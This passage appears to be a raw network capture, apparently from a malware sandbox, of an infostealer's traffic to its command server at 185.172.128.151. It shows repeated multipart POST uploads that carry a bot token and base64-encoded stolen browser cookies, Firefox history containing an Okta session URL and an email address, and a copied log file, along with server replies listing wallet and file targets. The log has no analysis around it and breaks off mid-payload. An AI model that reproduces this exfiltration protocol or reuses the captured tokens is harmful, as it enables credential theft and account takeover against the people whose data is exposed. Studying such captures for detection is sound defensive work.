jA0LjAxMjAKCVB5dGhvbiAzLjYuMyAoMzItYml0KSAtIDMuNi4zMTUwLjAKCVB5dGhvbiAzLjguMTAgKDMyLWJpdCkgLSAzLjguMTAxNTAuMAoKUHJvY2VzcyBMaXN0OgoJU3lzdGVtCglzbXNzLmV4ZQoJY3Nyc3MuZXhlCgljc3Jzcy5leGUKCXdpbmluaXQuZXhlCgl3aW5sb2dvbi5leGUKCXNlcnZpY2VzLmV4ZQoJbHNhc3MuZXhlCglsc20uZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3Bvb2xzdi5leGUKCXN2Y2hvc3QuZXhlCgl0YXNraG9zdC5leGUKCWR3bS5leGUKCWV4cGxvcmVyLmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglXbWlQcnZTRS5leGUKCWRsbGhvc3QuZXhlCgltc2R0Yy5leGUKCU9TUFBTVkMuRVhFCgljb25ob3N0LmV4ZQoJY29uaG9zdC5leGUKCXUzM3MuMC5leGUKCWRsbGhvc3QuZXhlCglydW4uZXhl ------EGDGIIJJECFIDHJJKKFC--" HTTP/1.1 200 OK Date: Mon 29 Apr 2024 10:34:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5 max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>....... "POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJJDGHJKKJEBFHJDBGH Host: 185.172.128.151 Content-Length: 771 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "------IIJJDGHJKKJEBFHJDBGH Content-Disposition: form-data; name="token" 60ec08cc424ad27c6e0e8f729f8567ecc4410ae862f8d1f76dc96c597e1ff03bd008a4de ------IIJJDGHJKKJEBFHJDBGH Content-Disposition: form-data; name="file_name" Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0 ------IIJJDGHJKKJEBFHJDBGH Content-Disposition: form-data; name="file" Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzI1NzE5MTU5CU5JRAk1MTI9bFFIZkg2aUphalFuY2R5NGgyU2VYcmNteVh5RGJEVWRlamROLXQ5S2tpNzFwNEFZUjhHcHM2b2RtOEtKTk9KLVVqUVRPUURzTTJvVmwtZWFJT2Y4QnlQZXJteWZaZW9IbjA3SlJEYU94NjgybUxLcTVBaEpMRUR6b0ZrSmtUN2ZWTXdIRElncXBlX2FMY3Ayb3ltRW12QTJSR0U3UV9EUUlET2lzbWo4emhnCm9ncy5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNzEyNDk5OTYwCU9UWgk3NDYwMTg2XzUyXzUyXzEyMzkwMF80OF80MzYzODAK ------IIJJDGHJKKJEBFHJDBGH--" HTTP/1.1 200 OK Date: Mon 29 Apr 2024 10:34:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>....... "POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGIJEHIIDGCFHIEGDGC Host: 185.172.128.151 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "------DBGIJEHIIDGCFHIEGDGC Content-Disposition: form-data; name="token" 60ec08cc424ad27c6e0e8f729f8567ecc4410ae862f8d1f76dc96c597e1ff03bd008a4de ------DBGIJEHIIDGCFHIEGDGC Content-Disposition: form-data; name="file_name" ZWltZWhydnpvZC5maWxl ------DBGIJEHIIDGCFHIEGDGC Content-Disposition: form-data; name="file" ------DBGIJEHIIDGCFHIEGDGC--" HTTP/1.1 200 OK Date: Mon 29 Apr 2024 10:34:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>....... "POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDAECAECFCAAEBFHIEHD Host: 185.172.128.151 Content-Length: 3051 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "------GDAECAECFCAAEBFHIEHD Content-Disposition: form-data; name="token" 60ec08cc424ad27c6e0e8f729f8567ecc4410ae862f8d1f76dc96c597e1ff03bd008a4de ------GDAECAECFCAAEBFHIEHD Content-Disposition: form-data; name="file_name" aGlzdG9yeVxNb3ppbGxhIEZpcmVmb3hfZzRoN21pcXQuZGVmYXVsdC50eHQ= ------GDAECAECFCAAEBFHIEHD Content-Disposition: form-data; name="file" aHR0cHM6Ly93d3cubW96aWxsYS5vcmcvZW4tVVMvZmlyZWZveC9jZW50cmFsLwpodHRwczovL3N1cHBvcnQubW96aWxsYS5vcmcvZW4tVVMvcHJvZHVjdHMvZmlyZWZveApodHRwczovL3d3dy5tb3ppbGxhLm9yZy9lbi1VUy9maXJlZm94L2N1c3RvbWl6ZS8KaHR0cHM6Ly93d3cubW96aWxsYS5vcmcvZW4tVVMvY29udHJpYnV0ZS8KaHR0cHM6Ly93d3cubW96aWxsYS5vcmcvZW4tVVMvYWJvdXQvCnBsYWNlOnNvcnQ9OCZtYXhSZXN1bHRzPTEwCnBsYWNlOnR5cGU9NiZzb3J0PTE0Jm1heFJlc3VsdHM9MTAKaHR0cDovL2dvb2dsZS5jb20vCmh0dHBzOi8vY3Jvd2RzdHJpa2Uub2t0YS5jb20vbG9naW4vc2Vzc2lvbkNvb2tpZVJlZGlyZWN0P2NoZWNrQWNjb3VudFNldHVwQ29tcGxldGU9dHJ1ZSZ0b2tlbj0yMDExMVBxd1FuOXVKVDF3UWtoU2wyNlJMdFhwMDg5b3l0R0JwbDFOMEpkQ0I5N29CdFFVOXEzJnJlZGlyZWN0VXJsPWh0dHBzJTNBJTJGJTJGY3Jvd2RzdHJpa2Uub2t0YS5jb20lMkZhcHAlMkZvZmZpY2UzNjUlMkZleGs5bnRrdW82dU5JNUJHQzB4NyUyRnNzbyUyRndzZmVkJTJGcGFzc2l2ZSUzRmNsaWVudC1yZXF1ZXN0LWlkJTNEYzgxNTVlZDQtMjllNS00OGJmLThhYWMtMmI2ZjI3Y2M3YTgxJTI2d2ElM0R3c2lnbmluMS4wJTI2d3RyZWFsbSUzRHVybiUyNTNhZmVkZXJhdGlvbiUyNTNhTWljcm9zb2Z0T25saW5lJTI2d2N0eCUzRExvZ2luT3B0aW9ucyUyNTNEMyUyNTI2ZXN0c3JlZGlyZWN0JTI1M2QyJTI1MjZlc3RzcmVxdWVzdCUyNTNkclFJSUFaVlJQV2dUVVJ6UHk2WFh0QWdXVVJSY09pUVJqZmZ4N3ZzT0FyYVZ0TFpTVzkwY0dsN3UzalZuOHU0ZDc3MGtwRWhFUVJDbnpvNk93VUdjUkFkWDhRTTZPSFVTUVJDbjRPVG9WWEN5ZzhLZl9fRF9fLUQzZFVtQ0tnd3FsdS0zUFF1RkNqUU5xRmlHR3lzSVFWY3hIRGRFanVfYXJ1LXR5N1lPTGR0aXAtWVhQdTJjZWZ2MTRwdTF4OF9xOU1LSHZmc1RjTGtqUk1ZRFRVTlpwZzQ0ejdnNlNIZ2Y5YmpvUndsVlEwcTBGazkyVXh3bDZVc0FEZ0Q0QnNDa1dBazlhTnM0c2hURHg3WmllZTFZOFZDdXhHZzdzZUdHb1lzOGVGZzhlV09wTHpyRzBhSXMyY01faW5NeFphU1ZVUzZlU0s4Qnc2aEhHbVQwRjJtTjRhdzNhZ25hLUMyd2FpNVZqV1kteDBEejZ6Sk9jWnlJSE5ZY0NwV0VyU1NxbWxmcG1QQllqQWM4QjQxVE5LZ2FUb2hJaG5JM3gzeHJIZEV3YXlsTlE5ejRGM01UcWZJbk80SlN0SXNKVGtXdWgyRjFtS1FSSFhJMXhVSjdJY2s1QWFIcEYtazhRU3hVV1RMQWpGNEpHUjFHWExDa2k0OU1ISlRBOTlJSlhRcktaWGtCbkNzc0ZuNld3Tk9adkxQcTJlbkQ5ODhfTnhfY25YNjhOMXN1dkp2UkVGb3hzOVdOVzVwdklMeDlaMjJ6N210T2ZYdkw3bTVkSnpkMWdwZFhOdG0xOWRIR2FyZGhCWEJmQnZ1eVBKWEJvOW5DcTduX2F2eHdfclNoUTBfUlhRVzZpMUFQVEN2UW5kdV9BQTIlMjZjYmN4dCUzRCUyNnVzZXJuYW1lJTNEbWFyYy5yaXZlcm8lMjU0MGNyb3dkc3RyaWtlLmNvbSUyNm1rdCUzRCUyNmxjJTNECmh0dHBzOi8vd3d3Lm1vemlsbGEub3JnL2ZpcmVmb3gvbmV3Lz91dG1fc291cmNlPWZpcmVmb3gmdXRtX21lZGl1bT1zaG93LWhlYXJ0YmVhdCZ1dG1fY2FtcGFpZ249WW91ckZpcmVmb3hpc2NyaXRpY2FsbHlvdXRvZmRhdGUuQW51cGRhdGVpc3JlcXVpcmVkdG9zdGF5c2VjdXJlLiZzb3VyY2U9aGVhcnRiZWF0JnN1cnZleXZlcnNpb249NTYmdXBkYXRlQ2hhbm5lbD1yZWxlYXNlJmZ4VmVyc2lvbj01Ny4wLjEmaXNEZWZhdWx0QnJvd3Nlcj0wJnNlYXJjaEVuZ2luZT1nb29nbGUmc3luY1NldHVwPTAmdHlwZT1idXR0b24mZmxvd0lkPTM3YzU2NGEwLTIxZDgtNDgzNy1hMzk3LTRhMDRhMWViMDhiZApwbGFjZTp0eXBlPTMmc29ydD00CnBsYWNlOnRyYW5zaXRpb249NyZzb3J0PTQKcGxhY2U6dHlwZT02JnNvcnQ9MQpwbGFjZTpmb2xkZXI9VE9PTEJBUgpwbGFjZTpmb2xkZXI9Qk9PS01BUktTX01FTlUKcGxhY2U6Zm9sZGVyPVVORklMRURfQk9PS01BUktTCg== ------GDAECAECFCAAEBFHIEHD--" HTTP/1.1 200 OK Date: Mon 29 Apr 2024 10:34:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5 max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>....... "POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKJKKKJJJKJKFHJJJJE Host: 185.172.128.151 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "------HJKJKKKJJJKJKFHJJJJE Content-Disposition: form-data; name="token" 60ec08cc424ad27c6e0e8f729f8567ecc4410ae862f8d1f76dc96c597e1ff03bd008a4de ------HJKJKKKJJJKJKFHJJJJE Content-Disposition: form-data; name="message" wallets ------HJKJKKKJJJKJKFHJJJJE--" HTTP/1.1 200 OK Date: Mon 29 Apr 2024 10:34:23 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5 max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>516D6C30593239706269424462334A6C6644463858454A7064474E766157356364324673624756306331783864324673624756304C6D52686448777866454A70....... "POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDB Host: 185.172.128.151 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "------AFCFHJJECAEHJJKEHIDB Content-Disposition: form-data; name="token" 60ec08cc424ad27c6e0e8f729f8567ecc4410ae862f8d1f76dc96c597e1ff03bd008a4de ------AFCFHJJECAEHJJKEHIDB Content-Disposition: form-data; name="message" files ------AFCFHJJECAEHJJKEHIDB--" HTTP/1.1 200 OK Date: Mon 29 Apr 2024 10:34:23 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2052 Keep-Alive: timeout=5 max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>524556545333776C52455654533152505543566366436F75644868304C436F755A47396A654377714C6E6873633368384E58777866444638524556545333776C....... "POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECF Host: 185.172.128.151 Content-Length: 13531 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "------JEHIJJKEGHJJKECBKECF Content-Disposition: form-data; name="token" 60ec08cc424ad27c6e0e8f729f8567ecc4410ae862f8d1f76dc96c597e1ff03bd008a4de ------JEHIJJKEGHJJKECBKECF Content-Disposition: form-data; name="file_name" ZmlsZXNcRE9DU1xBbWF6b24gRG93bmxvYWRlciBMb2dzXEFtYXpvbl9Eb3dubG9hZGVyX0xvZ18yMDE3MTIwNi0yMjU3MTJfMTgxMGU5ZTAtMWE4ZC00NTdjLWJlM2EtNzM3ZGU1MGRjNmJiLnR4dA== ------JEHIJJKEGHJJKECBKECF Content-Disposition: form-data; name="file" MjAxNzEyMDYtMjI1NzEyICBtYWluLmNwcCggIDI3KSAgOiBtYWluKCkgc3RhcnQKMjAxNzEyMDYtMjI1NzEyICBEU1ZDbGllbnRMb2dfV2luZG93cy5jcHAoICA1MSkgIDogT1M6IFdpbmRvd3MgNyBidWlsZCA3NjAxIAoyMDE3MTIwNi0yMjU3MTIgIFdpbmRvd3NVaS5jcHAoIDEwMSkgIDogZGVza3RvcCBmb2xkZXI6IEM6XFVzZXJzXEhBUFVCV1NcRGVza3RvcFwKMjAxNzEyMDYtMjI1NzEyICBzaG93RGVidWdNZXNzYWdlRGlhbG9nOgoyMDE3MTIwNi0yMjU3MTIgICAgZ2V0Q29uZmlndXJhdGlvbkZyb21FeGUKMjAxNzEyMDYtMjI1NzEyICAgIEdhdGV3YXlVUkwgKHN0YWdlOjMsIG1hcmtldHBsYWNlSUQ6MSk6IGh0dHBzOi8vc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20vZ2F0ZXdheS90aGluCjIwMTcxMjA2LTIyNTcxMiAgQXBwbGljYXRpb25MaWIuY3BwKCAgOTUpICA6IEFwcGxpY2F0aW9uOjpydW4oKSBzdGFydAoyMDE3MTIwNi0yMjU3MTIgICAgU1RBVEVfQ09OTkVDVElORwoyMDE3MTIwNi0yMjU3MTIgICAgV2luZG93c1VpLmNwcCggNjkxKSAgOiBzZXREb3dubG9hZFN0YXR1c1RleHQ6IEZpbmRpbmcgZG93bmxvYWQuLi4KMjAxNzEyMDYtMjI1NzEyICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggIDgwKSAgOiBwb3N0IHRvIGh0dHBzOi8vc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20vZ2F0ZXdheS90aGluCjIwMTcxMjA2LTIyNTcxMiAgICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggMTI5KSAgOiBob3N0TmFtZTogc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20KMjAxNzEyMDYtMjI1NzEyICAgICAgV2luZG93c0lOZXRDbGllbnQuY3BwKCAxMzApICA6IHVybFBhdGg6IC9nYXRld2F5L3RoaW4KMjAxNzEyMDYtMjI1NzE0ICAgIEpzb25NZXNzZW5nZXIuY3BwKCAgNzMpICA6IHJlZ2lzdGVySW5zdGFsbCgpCjIwMTcxMjA2LTIyNTcxNCAgICAgIEpzb25NZXNzZW5nZXIuY3BwKCAgNzUpICA6IHZlcnNpb246IDQuMC4wLjAKMjAxNzEyMDYtMjI1NzE0ICAgICAgSnNvbk1lc3Nlbmdlci5jcHAoICA3NikgIDogcHJvZHVjdENvZGU6IElnbm9yZWQgUHJvZHVjdCBBc2luCjIwMTcxMjA2LTIyNTcxNCAgICAgIEpzb25NZXNzZW5nZXIuY3BwKCAgNzcpICA6IGNsaWVudFR5cGU6IFRISU5fV0lOMzIKMjAxNzEyMDYtMjI1NzE0ICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggIDgwKSAgOiBwb3N0IHRvIGh0dHBzOi8vc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20vZ2F0ZXdheS90aGluCjIwMTcxMjA2LTIyNTcxNCAgICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggMTI5KSAgOiBob3N0TmFtZTogc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20KMjAxNzEyMDYtMjI1NzE0ICAgICAgV2luZG93c0lOZXRDbGllbnQuY3BwKCAxMzApICA6IHVybFBhdGg6IC9nYXRld2F5L3RoaW4KMjAxNzEyMDYtMjI1NzE1ICAgIEpzb25NZXNzZW5nZXIuY3BwKCAxMDYpICA6IGNyZWF0ZURvd25sb2FkKCkKMjAxNzEyMDYtMjI1NzE1ICAgICAgSnNvbk1lc3Nlbmdlci5jcHAoIDEwOCkgIDogbWFjaGluZTogVkI4Yzc2NjQyMi02ZDEyYjM5ZCAKMjAxNzEyMDYtMjI1NzE1ICAgIFdpbmRvd3NVaS5jcHAoIDY5MSkgIDogc2V0RG93bmxvYWRTdGF0dXNUZXh0OiBSZXRyaWV2aW5nIGluZm9ybWF0aW9uLi4uCjIwMTcxMjA2LTIyNTcxNSAgICBXaW5kb3dzSU5ldENsaWVudC5jcHAoICA4MCkgIDogcG9zdCB0byBodHRwczovL3N3dmdkdHQtZ2F0ZXdheS5hbWF6b24uY29tL2dhdGV3YXkvdGhpbgoyMDE3MTIwNi0yMjU3MTUgICAgICBXaW5kb3dzSU5ldENsaWVudC5jcHAoIDEyOSkgIDogaG9zdE5hbWU6IHN3dmdkdHQtZ2F0ZXdheS5hbWF6b24uY29tCjIwMTcxMjA2LTIyNTcxNSAgICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggMTMwKSAgOiB1cmxQYXRoOiAvZ2F0ZXdheS90aGluCjIwMTcxMjA2LTIyNTcxNSAgICBKc29uTWVzc2VuZ2VyLmNwcCggMTYxKSAgOiBnZXRNYW5pZmVzdCgxKQoyMDE3MTIwNi0yMjU3MTUgICAgICBKc29uTWVzc2VuZ2VyLmNwcCggMTYzKSAgOiBpbWFnZVVybDogaHR0cDovL2VjeC5pbWFnZXMtYW1hem9uLmNvbS9pbWFnZXMvSS81MXRpOGxlOVQ5TC5fU0w3NV8uanBnCjIwMTcxMjA2LTIyNTcxNSAgICAgIEpzb25NZXNzZW5nZXIuY3BwKCAxNjQpICA6IHByb2R1Y3ROYW1lOiBIYW5jb20gT2ZmaWNlIDIwMTAgU0UgKEVuZ2xpc2ggRWRpdGlvbikgLSAzUEMtMVVzZXIgKERvd25sb2FkKQoyMDE3MTIwNi0yMjU3MTUgICAgICBKc29uTWVzc2VuZ2VyLmNwcCggMTY1KSAgOiBicmFuZE5hbWU6IEhhbmNvbSwgSW5jLgoyMDE3MTIwNi0yMjU3MTUgICAgICBKc29uTWVzc2VuZ2VyLmNwcCggMTY2KSAgOiB2ZXJzaW9uZWRJdGVtSWQ6IDc5MDIwNGFmLWVjZjUtNGU0Ni1hYjY4LTVhYzY2MDg2Nzk1NAoyMDE3MTIwNi0yMjU3MTUgICAgICBKc29uTWVzc2VuZ2VyLmNwcCggMTY3KSAgOiBhc2luOiBCMDA4STc5SlE4CjIwMTcxMjA2LTIyNTcxNSAgICAgIEpzb25NZXNzZW5nZXIuY3BwKCAxNjgpICA6IGZpbGVOYW1lOiBIYW5jb21PZmZpY2UuZXhlCjIwMTcxMjA2LTIyNTcxNSAgICAgIEpzb25NZXNzZW5nZXIuY3BwKCAxNjkpICA6IGZpbGVTaXplOiA3ODA3MjM4ODAKMjAxNzEyMDYtMjI1NzE1ICAgICAgSnNvbk1lc3Nlbmdlci5jcHAoIDE3MCkgIDogbnVtYmVyT2ZQYXJ0aXRpb25zOiAyCjIwMTcxMjA2LTIyNTcxNSAgICAgIEpzb25NZXNzZW5nZXIuY3BwKCAxNzEpICA6IGFyY2hpdmVNZXRob2Q6IDAKMjAxNzEyMDYtMjI1NzE1ICAgICAgSnNvbk1lc3Nlbmdlci5jcHAoIDE3MikgIDogbGF1bmNoRmlsZTogCjIwMTcxMjA2LTIyNTcxNSAgICAgIEpzb25NZXNzZW5nZXIuY3BwKCAxNzMpICA6IHByb2R1Y3RLZXlGaWxlOiAKMjAxNzEyMDYtMjI1NzE1ICAgICAgSnNvbk1lc3Nlbmdlci5jcHAoIDE3NCkgIDogcmVxdWlyZXNQcm9kdWN0S2V5OiAxCjIwMTcxMjA2LTIyNTcxNSAgICAgIEpzb25NZXNzZW5nZXIuY3BwKCAxNzUpICA6IHJlcXVpcmVzRXh0cmFjdEtleTogMAoyMDE3MTIwNi0yMjU3MTUgICAgICBKc29uTWVzc2VuZ2VyLmNwcCggMTc2KSAgOiBnbENvZGU6IDM2NgoyMDE3MTIwNi0yMjU3MTUgICAgICBKc29uTWVzc2VuZ2VyLmNwcCggMTc3KSAgOiBkc3A6IFMzCjIwMTcxMjA2LTIyNTcxNSAgICBXaW5kb3dzVWkuY3BwKCA0NDQpICA6IE5hdmlnYXRpbmcgdG8gd3d3LmFtYXpvbi5jb20vZ3Avc3d2Z2R0dC9kb3dubG9hZGVyQmFubmVyL2dlbmVyaWNCYW5uZXIuaHRtbD9hc2luPUIwMDhJNzlKUTgKMjAxNzEyMDYtMjI1NzE3ICAgIFdpbmRvd3NVaS5jcHAoIDUxOCkgIDogV2ViIHBhZ2UgdGltZWQgb3V0IC0gbm90IGRpc3BsYXlpbmcgdGhlIGJhbm5lcgoyMDE3MTIwNi0yMjU3MTcgICAgRmlsZUlPLmNwcCggIDQzKSAgOiBFUlJPUjogRmlsZUlPOjpvcGVuIEFuIGVycm9yIG9jY3VyZWQgd2hpbGUgb3BlbmluZyB0aGUgZmlsZS4gRXJybm8gd2FzIHNldCB0byAyIGJ5IGZvcGVuCjIwMTcxMjA2LTIyNTcxNyAgICBXaW5kb3dzVWkuY3BwKCA1NjEpICA6IHNldERvd25sb2FkRm9sZGVyVGV4dDogQzpcVXNlcnNcSEFQVUJXU1xEZXNrdG9wXAoyMDE3MTIwNi0yMjU3MTcgICAgQXBwbGljYXRpb25MaWIuY3BwKCAyMjMpICA6IHByb2R1Y3RLZXlGaWxlOiBIYW5jb20gT2ZmaWNlIDIwMTAgU0UgKEVuZ2xpc2ggRWRpdGlvbikgLSAzUEMtMVVzZXIgKERvd25sb2FkKSBLZXlzLmh0bWwKMjAxNzEyMDYtMjI1NzE3ICAgIFdpbmRvd3NVaS5jcHAoIDU2MSkgIDogc2V0RG93bmxvYWRGb2xkZXJUZXh0OiBDOlxVc2Vyc1xIQVBVQldTXERlc2t0b3BcSGFuY29tIE9mZmljZSAyMDEwIFNFIChFbmdsaXNoIEVkaXRpb24pIC0gM1BDLTFVc2VyIChEb3dubG9hZClcCjIwMTcxMjA2LTIyNTcxNyAgICBXaW5kb3dzVWkuY3BwKCA0NDQpICA6IE5hdmlnYXRpbmcgdG8gd3d3LmFtYXpvbi5jb20vZ3Avc3d2Z2R0dC9kb3dubG9hZGVyQmFubmVyL2dlbmVyaWNCYW5uZXIuaHRtbD9hc2luPUIwMDhJNzlKUTgKMjAxNzEyMDYtMjI1NzE4ICAgIFdpbmRvd3NVaS5jcHAoIDUxOCkgIDogV2ViIHBhZ2UgdGltZWQgb3V0IC0gbm90IGRpc3BsYXlpbmcgdGhlIGJhbm5lcgoyMDE3MTIwNi0yMjU3MTggICAgQXBwbGljYXRpb25MaWIuY3BwKCAyMzkpICA6IExvZyBmaWxlIG5hbWU6IDIwMTcxMjA2LTIyNTcxMl8xODEwZTllMC0xYThkLTQ1N2MtYmUzYS03MzdkZTUwZGM2YmIKMjAxNzEyMDYtMjI1NzE4ICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggIDgwKSAgOiBwb3N0IHRvIGh0dHBzOi8vc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20vZ2F0ZXdheS90aGluCjIwMTcxMjA2LTIyNTcxOCAgICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggMTI5KSAgOiBob3N0TmFtZTogc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20KMjAxNzEyMDYtMjI1NzE4ICAgICAgV2luZG93c0lOZXRDbGllbnQuY3BwKCAxMzApICA6IHVybFBhdGg6IC9nYXRld2F5L3RoaW4KMjAxNzEyMDYtMjI1NzE4ICAgIEFwcGxpY2F0aW9uTGliLmNwcCggMjQwKSAgOiBTZXJ2ZXIgcmVzcG9uc2U6IHRydWUKMjAxNzEyMDYtMjI1NzE4ICAgIFdpbmRvd3NVaS5jcHAoIDY5MSkgIDogc2V0RG93bmxvYWRTdGF0dXNUZXh0OiBPcGVuaW5nIGZpbGUuLi4KMjAxNzEyMDYtMjI1NzE4ICAgIFN0ZERvd25sb2FkZXIuY3BwKCAzMTUpICA6IFN0ZERvd25sb2FkZXI6Om9wZW4oSGFuY29tT2ZmaWNlLmV4ZSwgNzgwNzIzODgwKQoyMDE3MTIwNi0yMjU3MTggICAgV2luZG93c1VpLmNwcCggNjkxKSAgOiBzZXREb3dubG9hZFN0YXR1c1RleHQ6IFN0YXJ0aW5nIGRvd25sb2FkLi4uCjIwMTcxMjA2LTIyNTcxOCAgICBTVEFURV9QUkVSRVNVTUlORwoyMDE3MTIwNi0yMjU3MTggICAgQXBwbGljYXRpb25MaWIuY3BwKCAyNjkpICA6IFBhcnRpdGlvbiAgMCBSZXRyeSAgMAoyMDE3MTIwNi0yMjU3MTggICAgV2luZG93c0lOZXRDbGllbnQuY3BwKCAgODApICA6IHBvc3QgdG8gaHR0cHM6Ly9zd3ZnZHR0LWdhdGV3YXkuYW1hem9uLmNvbS9nYXRld2F5L3RoaW4KMjAxNzEyMDYtMjI1NzE4ICAgICAgV2luZG93c0lOZXRDbGllbnQuY3BwKCAxMjkpICA6IGhvc3ROYW1lOiBzd3ZnZHR0LWdhdGV3YXkuYW1hem9uLmNvbQoyMDE3MTIwNi0yMjU3MTggICAgICBXaW5kb3dzSU5ldENsaWVudC5jcHAoIDEzMCkgIDogdXJsUGF0aDogL2dhdGV3YXkvdGhpbgoyMDE3MTIwNi0yMjU3MTggICAgSnNvbk1lc3Nlbmdlci5jcHAoIDIxOSkgIDogZ2V0UGFydGl0aW9uKCkKMjAxNzEyMDYtMjI1NzE4ICAgICAgSnNvbk1lc3Nlbmdlci5jcHAoIDIyMSkgIDogcGFydGl0aW9uSW5kZXg6IDAKMjAxNzEyMDYtMjI1NzE4ICAgICAgSnNvbk1lc3Nlbmdlci5jcHAoIDIyMikgIDogY2hlY2tzdW06IAoyMDE3MTIwNi0yMjU3MTggICAgICBKc29uTWVzc2VuZ2VyLmNwcCggMjIzKSAgOiBkb3dubG9hZFVybDogczMuYW1hem9uYXdzLmNvbQoyMDE3MTIwNi0yMjU3MTggICAgQXBwbGljYXRpb25MaWIuY3BwKCAyODMpICA6IEdldCA1MjQyODgwMDAgYnl0ZXMgZnJvbSBzMy5hbWF6b25hd3MuY29tCjIwMTcxMjA2LTIyNTcxOCAgICBTdGREb3dubG9hZGVyLmNwcCggIDU3KSAgOiBmaWxlT2Zmc2V0OiAwLCBwYXJ0aXRpb25TaXplOiA1MjQyODgwMDAsIHN0YXJ0UG9zOiAwKQoyMDE3MTIwNi0yMjU3MTggICAgICBTdGREb3dubG9hZGVyLmNwcCggIDgyKSAgOiBvcmlnU3RhcnRQb3M6IDAgLyBzdGFydFBvczogMCAvIG51bVJldHJpZXM6IDAgLyAgYnl0ZXNEb3dubG9hZGVkOiAwIC8gZG93bmxvYWRlZFRoaXNBdHRlbXB0OiAwCjIwMTcxMjA2LTIyNTcyMCAgICAgICAgU3RkRG93bmxvYWRlci5jcHAoIDE4MikgIDogblI6IDAgZFRBOiAwCjIwMTcxMjA2LTIyNTcyMSAgICAgICAgICBTVEFURV9SRVNVTUlORwoyMDE3MTIwNi0yMjU3MjEgICAgICAgICAgU1RBVEVfRE9XTkxPQURJTkcKMjAxNzEyMDYtMjI1NzQ2ICAgICAgICAgIFdpbmRvd3NVaS5jcHAoIDk0NCkgIDogSURDX1BBVVNFIGNvbW1hbmQKMjAxNzEyMDYtMjI1NzQ2ICAgICAgICAgIFNUQVRFX1BBVVNFRAoyMDE3MTIwNi0yMjU3NDYgICAgICAgICAgU3RkRG93bmxvYWRlci5jcHAoIDE4OSkgIDogbVBhdXNlZAoyMDE3MTIwNi0yMjU3NDYgICAgICAgICAgU3RkRG93bmxvYWRlci5jcHAoIDE5NikgIDogb3JpZ1N0YXJ0UG9zOiAwIC8gc3RhcnRQb3M6IDAgLyBudW1SZXRyaWVzOiAwIC8gIGJ5dGVzRG93bmxvYWRlZDogNDgwMDUxMiAvIGRvd25sb2FkZWRUaGlzQXR0ZW1wdDogNDgwMDUxMgoyMDE3MTIwNi0yMjU4MTEgICAgICAgICAgV2luZG93c1VpLmNwcCggOTUwKSAgOiBJRENfUkVTVU1FIGNvbW1hbmQKMjAxNzEyMDYtMjI1ODExICAgICAgICAgIFNUQVRFX1BSRVJFU1VNSU5HCjIwMTcxMjA2LTIyNTgxMSAgICAgICAgICBTdGREb3dubG9hZGVyLmNwcCggMjA4KSAgOiB1biBtUGF1c2VkCjIwMTcxMjA2LTIyNTgxMSAgICAgICAgICBBcHBsaWNhdGlvbkxpYi5jcHAoIDk3MykgIDogbm90aWZ5U3RhdHVzVXBkYXRlOiBZb3VyIGRvd25sb2FkIGhhcyByZXN1bWVkLi4uCjIwMTcxMjA2LTIyNTgxMSAgICAgICAgICBXaW5kb3dzVWkuY3BwKCA2OTEpICA6IHNldERvd25sb2FkU3RhdHVzVGV4dDogWW91ciBkb3dubG9hZCBoYXMgcmVzdW1lZC4uLgoyMDE3MTIwNi0yMjU4MTEgICAgICAgICAgU3RkRG93bmxvYWRlci5jcHAoIDIxNykgIDogcmVzdW1pbmcgZG93bmxvYWQgc3Rh